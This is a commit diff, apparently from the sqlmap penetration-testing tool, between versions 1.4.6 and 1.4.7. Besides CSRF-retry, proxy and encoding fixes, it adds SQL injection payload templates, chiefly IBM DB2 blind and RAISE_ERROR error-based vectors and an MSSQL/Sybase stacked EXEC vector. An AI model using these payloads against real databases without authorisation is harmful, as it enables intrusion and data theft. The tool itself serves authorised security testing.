Compare commits

..

22 Commits
1.4.6 ... 1.4.7

Author SHA1 Message Date
Miroslav Stampar
459130196a Minor patch 2020-07-01 11:56:24 +02:00
Miroslav Stampar
0a8a65bc0b Update regarding #4248 2020-06-29 20:29:46 +02:00
Miroslav Stampar
5d370f2fa1 Update regarding the #4243 2020-06-26 11:45:05 +02:00
Miroslav Stampar
1296336e18 Minor cleanup 2020-06-25 15:13:35 +02:00
Miroslav Stampar
75b3736467 Re-implementation for #4243 2020-06-25 15:07:19 +02:00
Miroslav Stampar
282eb7e533 Minor update related to the #4244 2020-06-25 13:48:50 +02:00
Miroslav Stampar
f28d82c119 Minor patch related to the #4239 2020-06-25 13:02:56 +02:00
Miroslav Stampar
74603c5530 Fixes #4239 2020-06-25 12:55:10 +02:00
Miroslav Stampar
050700f079 Fixes #4237 2020-06-24 12:05:40 +02:00
Miroslav Stampar
31bf1fc6b6 Update regarding #4239 2020-06-24 11:41:51 +02:00
Miroslav Stampar
d4d83b29f0 Drei patch (Issue #4235) 2020-06-17 21:58:10 +02:00
Miroslav Stampar
596fff48ad Fixes #4235 2020-06-17 20:56:50 +02:00
Miroslav Stampar
56ff081314 Up the ante 2020-06-17 20:05:12 +02:00
Miroslav Stampar
69421b4806 Fixes #4231 2020-06-14 22:12:00 +02:00
Miroslav Stampar
3910b86853 Potential patch for #4232 2020-06-14 22:01:49 +02:00
Miroslav Stampar
bbdedb39f9 Fixes #4233 2020-06-14 21:23:55 +02:00
Miroslav Stampar
d0be782ece Update for #4212 2020-06-10 12:53:22 +02:00
Miroslav Stampar
16c8673e98 Implementation on request (--csrf-retries) 2020-06-10 12:49:35 +02:00
Miroslav Stampar
1dedc36d85 Implementation for #4212 2020-06-10 12:19:52 +02:00
Miroslav Stampar
c1d46c95ed Minor correction 2020-06-10 11:53:58 +02:00
Miroslav Stampar
d5fc2c9350 Patch for #4227 2020-06-05 17:37:36 +02:00
Miroslav Stampar
c28ad8fcd8 Adding boundary for #4221 2020-06-05 17:32:41 +02:00
69 changed files with 304 additions and 124 deletions

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -213,6 +213,15 @@ Formats:
<suffix> AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>
<where>1,2</where>
<ptype>3</ptype>
<prefix>%'</prefix>
<suffix> AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
<boundary>
<level>2</level>
<clause>1</clause>

View File

@@ -824,7 +824,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -845,7 +844,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1193,7 +1191,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1214,7 +1211,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1332,6 +1328,44 @@ Tag: <test>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause</title>
<stype>1</stype>
<level>4</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 boolean-based blind - ORDER BY clause (original value)</title>
<stype>1</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</vector>
<request>
<payload>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</payload>
</request>
<response>
<comparison>,(SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE RAISE_ERROR(70001, '[RANDSTR]') END FROM SYSIBM.SYSDUMMY1)</comparison>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- Works in MySQL, Oracle, etc. -->
<test>
<title>HAVING boolean-based blind - WHERE, GROUP BY clause</title>
@@ -1452,7 +1486,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1474,7 +1507,6 @@ Tag: <test>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>

View File

@@ -404,7 +404,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -425,7 +424,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -446,7 +444,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -467,7 +464,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -488,7 +484,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -509,7 +504,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -672,7 +666,7 @@
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -689,9 +683,9 @@
<test>
<title>Firebird OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -710,7 +704,7 @@
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -727,9 +721,9 @@
<test>
<title>MonetDB OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1,9</clause>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
@@ -748,7 +742,7 @@
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1,8,9</clause>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
@@ -765,9 +759,9 @@
<test>
<title>Vertica OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<level>4</level>
<risk>3</risk>
<clause>1,8,9</clause>
<clause>1</clause>
<where>2</where>
<vector>OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])::varchar||'[DELIMITER_STOP]' AS NUMERIC)</vector>
<request>
@@ -780,6 +774,45 @@
<dbms>Vertica</dbms>
</details>
</test>
<test>
<title>IBM DB2 AND error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>3</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>AND [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<test>
<title>IBM DB2 OR error-based - WHERE or HAVING clause</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1</clause>
<where>1</where>
<vector>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!--
TODO: if possible, add payload for SQLite, Microsoft Access,
and SAP MaxDB - no known techniques at this time
@@ -1000,7 +1033,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1021,7 +1053,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1062,6 +1093,25 @@
<dbms>Firebird</dbms>
</details>
</test>
<test>
<title>IBM DB2 error-based - Parameter replace</title>
<stype>2</stype>
<level>4</level>
<risk>1</risk>
<clause>1,3</clause>
<where>3</where>
<vector>RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!-- End of error-based tests - Parameter replace -->
<!-- Error-based tests - ORDER BY, GROUP BY clause -->
@@ -1205,7 +1255,6 @@
</details>
</test>
<test>
<title>PostgreSQL error-based - ORDER BY, GROUP BY clause</title>
<stype>2</stype>
@@ -1261,7 +1310,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1289,7 +1337,7 @@
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>2,3</clause>
<clause>3</clause>
<where>1</where>
<vector>,(SELECT [RANDNUM]=('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]'))</vector>
<request>
@@ -1302,9 +1350,51 @@
<dbms>Firebird</dbms>
</details>
</test>
<test>
<title>IBM DB2 error-based - ORDER BY clause</title>
<stype>2</stype>
<level>5</level>
<risk>1</risk>
<clause>3</clause>
<where>1</where>
<vector>,RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]')</vector>
<request>
<payload>,RAISE_ERROR('70001','[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM SYSIBM.SYSDUMMY1)||'[DELIMITER_STOP]')</payload>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>IBM DB2</dbms>
</details>
</test>
<!--
TODO: if possible, add payload for SQLite, Microsoft Access
and SAP MaxDB - no known techniques at this time
-->
<!-- End of error-based tests - ORDER BY, GROUP BY clause -->
<!-- Error-based tests - stacking -->
<test>
<title>Microsoft SQL Server/Sybase error-based - Stacking (EXEC)</title>
<stype>2</stype>
<level>2</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]');EXEC @[RANDSTR]</vector>
<request>
<payload>;DECLARE @[RANDSTR] NVARCHAR(4000);SET @[RANDSTR]=(SELECT '[DELIMITER_START]'+(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END))+'[DELIMITER_STOP]');EXEC @[RANDSTR]</payload>
<comment>--</comment>
</request>
<response>
<grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<!-- End of error-based tests - stacking -->
</root>

View File

@@ -73,7 +73,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>

View File

@@ -264,7 +264,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -286,7 +285,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -307,7 +305,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -328,7 +325,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>

View File

@@ -588,7 +588,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -610,7 +609,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -631,7 +629,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -652,7 +649,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -674,7 +670,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -696,7 +691,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1638,7 +1632,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>
@@ -1936,7 +1929,6 @@
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
<os>Windows</os>
</details>
</test>

View File

@@ -112,6 +112,9 @@ Alessio Dalla Piazza, <alessio.dallapiazza(at)gmail.com>
Sherif El-Deeb, <archeldeeb(at)gmail.com>
* for reporting a minor bug
Thomas Etrillard, <thomas.etrillard(at)synacktiv.com>
* for contributing the IBM DB2 error-based payloads (RAISE_ERROR)
Stefano Di Paola, <stefano.dipaola(at)wisec.it>
* for suggesting good features
@@ -317,6 +320,9 @@ Michael Majchrowicz, <mmajchrowicz(at)gmail.com>
Vinícius Henrique Marangoni, <vinicius_marangoni1(at)hotmail.com>
* for contributing a Portuguese translation of README.md
Francesco Marano, <francesco.mrn24(at)gmail.com>
* for contributing the Microsoft SQL Server/Sybase error-based - Stacking (EXEC) payload
Ahmad Maulana, <matdhule(at)gmail.com>
* for contributing a tamper script halfversionedmorekeywords.py

View File

@@ -19,28 +19,26 @@ from optparse import OptionParser
if sys.version_info >= (3, 0):
xrange = range
ord = lambda _: _
def hideAscii(data):
retVal = b""
for i in xrange(len(data)):
value = data[i] if isinstance(data[i], int) else ord(data[i])
retVal += struct.pack('B', value ^ (127 if value < 128 else 0))
KEY = b"Beeth7hoyooleeF0"
return retVal
def xor(message, key):
return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
def cloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
return hideAscii(zlib.compress(data))
return xor(zlib.compress(data), KEY)
def decloak(inputFile=None, data=None):
if data is None:
with open(inputFile, "rb") as f:
data = f.read()
try:
data = zlib.decompress(hideAscii(data))
data = zlib.decompress(xor(data, KEY))
except Exception as ex:
print(ex)
print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
@@ -52,7 +50,7 @@ def decloak(inputFile=None, data=None):
def main():
usage = '%s [-d] -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
parser = OptionParser(usage=usage, version='0.2')
try:
parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt')

Binary file not shown.

Binary file not shown.

View File

@@ -336,6 +336,10 @@ def start():
conf.httpHeaders.append((header, value))
break
if conf.data:
# Note: explicitly URL encode __ ASP(.NET) parameters (e.g. to avoid problems with Base64 encoded '+' character) - standard procedure in web browsers
conf.data = re.sub(r"\b(__\w+)=([^&]+)", lambda match: "%s=%s" % (match.group(1), urlencode(match.group(2), safe='%')), conf.data)
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv()

View File

@@ -172,7 +172,7 @@ class Agent(object):
newValue = "%s%s" % (value, newValue)
newValue = self.cleanupPayload(newValue, origValue)
newValue = self.cleanupPayload(newValue, origValue) or ""
if base64Encoding:
_newValue = newValue

View File

@@ -116,6 +116,7 @@ from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
from lib.core.settings import DEV_EMAIL_ADDRESS
from lib.core.settings import DOLLAR_MARKER
from lib.core.settings import DUMMY_USER_INJECTION
from lib.core.settings import DYNAMICITY_BOUNDARY_LENGTH
from lib.core.settings import ERROR_PARSING_REGEXES
@@ -2865,6 +2866,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
result = None if value is None else ""
if value:
value = re.sub(r"\b[$\w]+=", lambda match: match.group(0).replace('$', DOLLAR_MARKER), value)
if Backend.isDbms(DBMS.MSSQL) and not kb.tamperFunctions and any(ord(_) > 255 for _ in value):
warnMsg = "if you experience problems with "
warnMsg += "non-ASCII identifier names "
@@ -2899,6 +2902,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
if spaceplus:
result = result.replace(_urllib.parse.quote(' '), '+')
result = result.replace(DOLLAR_MARKER, '$')
return result
def runningAsAdmin():
@@ -4123,24 +4128,25 @@ def safeSQLIdentificatorNaming(name, isTable=False):
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal)
if not conf.noEscape:
retVal = unsafeSQLIdentificatorNaming(retVal)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
else:
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
retVal = "[%s]" % retVal
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
retVal = "`%s`" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if isTable:
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if parts[i] and (re.search(r"\A\d|[^\w]", parts[i], re.U) or parts[i].upper() in kb.keywords):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
else:
if re.search(r"\A\d|[^\w]", retVal, re.U) or retVal.upper() in kb.keywords:
retVal = "[%s]" % retVal
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)

View File

@@ -198,8 +198,20 @@ def decodeBase64(value, binary=True, encoding=None):
True
>>> decodeBase64("MTIz", binary=False)
'123'
>>> decodeBase64(b"MTIzNA") == b"1234"
True
>>> decodeBase64("MTIzNA") == b"1234"
True
>>> decodeBase64("MTIzNA==") == b"1234"
True
"""
padding = b'=' if isinstance(value, bytes) else '='
# Reference: https://stackoverflow.com/a/49459036
if not value.endswith(padding):
value += 3 * padding
retVal = base64.b64decode(value)
if not binary:

View File

@@ -15,6 +15,7 @@ _defaults = {
"delay": 0,
"timeout": 30,
"retries": 3,
"csrfRetries": 0,
"saFreq": 0,
"threads": 1,
"level": 1,

View File

@@ -93,7 +93,6 @@ from lib.core.exception import SqlmapInstallationException
from lib.core.exception import SqlmapMissingDependence
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapMissingPrivileges
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSyntaxException
from lib.core.exception import SqlmapSystemException
@@ -984,15 +983,12 @@ def _setHTTPHandlers():
with kb.locks.handlers:
if conf.proxyList is not None:
if not conf.proxyList:
errMsg = "list of usable proxies is exhausted"
raise SqlmapNoneDataException(errMsg)
conf.proxy = conf.proxyList[0]
conf.proxyList = conf.proxyList[1:]
conf.proxyList = conf.proxyList[1:] + conf.proxyList[:1]
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
logger.info(infoMsg)
if len(conf.proxyList) > 1:
infoMsg = "loading proxy '%s' from a supplied proxy list file" % conf.proxy
logger.info(infoMsg)
elif not conf.proxy:
if conf.hostname in ("localhost", "127.0.0.1") or conf.ignoreProxy:

View File

@@ -61,6 +61,7 @@ optDict = {
"csrfToken": "string",
"csrfUrl": "string",
"csrfMethod": "string",
"csrfRetries": "integer",
"forceSSL": "boolean",
"chunked": "boolean",
"hpp": "boolean",

View File

@@ -18,7 +18,7 @@ from lib.core.enums import OS
from thirdparty.six import unichr as _unichr
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.4.6.0"
VERSION = "1.4.7.0"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -69,6 +69,7 @@ REPLACEMENT_MARKER = "__REPLACEMENT_MARK__"
BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
SAFE_VARIABLE_MARKER = "__SAFE__"
SAFE_HEX_MARKER = "__SAFE_HEX__"
DOLLAR_MARKER = "__DOLLAR__"
RANDOM_INTEGER_MARKER = "[RANDINT]"
RANDOM_STRING_MARKER = "[RANDSTR]"
@@ -605,7 +606,7 @@ BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"
SHELLCODEEXEC_RANDOM_STRING_MARKER = b"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
# Period after last-update to start nagging about the old revision
LAST_UPDATE_NAGGING_DAYS = 60
LAST_UPDATE_NAGGING_DAYS = 180
# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages
MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05

View File

@@ -267,6 +267,9 @@ def cmdLineParser(argv=None):
request.add_argument("--csrf-method", dest="csrfMethod",
help="HTTP method to use during anti-CSRF token page visit")
request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
help="Force usage of SSL/HTTPS")

View File

@@ -1045,6 +1045,8 @@ class Connect(object):
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
if conf.csrfToken:
token = AttribDict()
def _adjustParameter(paramString, parameter, newValue):
retVal = paramString
@@ -1061,56 +1063,64 @@ class Connect(object):
return retVal
token = AttribDict()
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
for attempt in xrange(conf.csrfRetries + 1):
if token:
break
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
if attempt > 0:
warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
warnMsg += ". sqlmap is going to retry the request"
logger.warn(warnMsg)
if not match:
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
if not match:
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
if match:
token.name, token.value = match.group("name"), match.group("value")
if not match:
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
if match:
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
token.name, token.value = match.group("name"), match.group("value")
if not token:
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
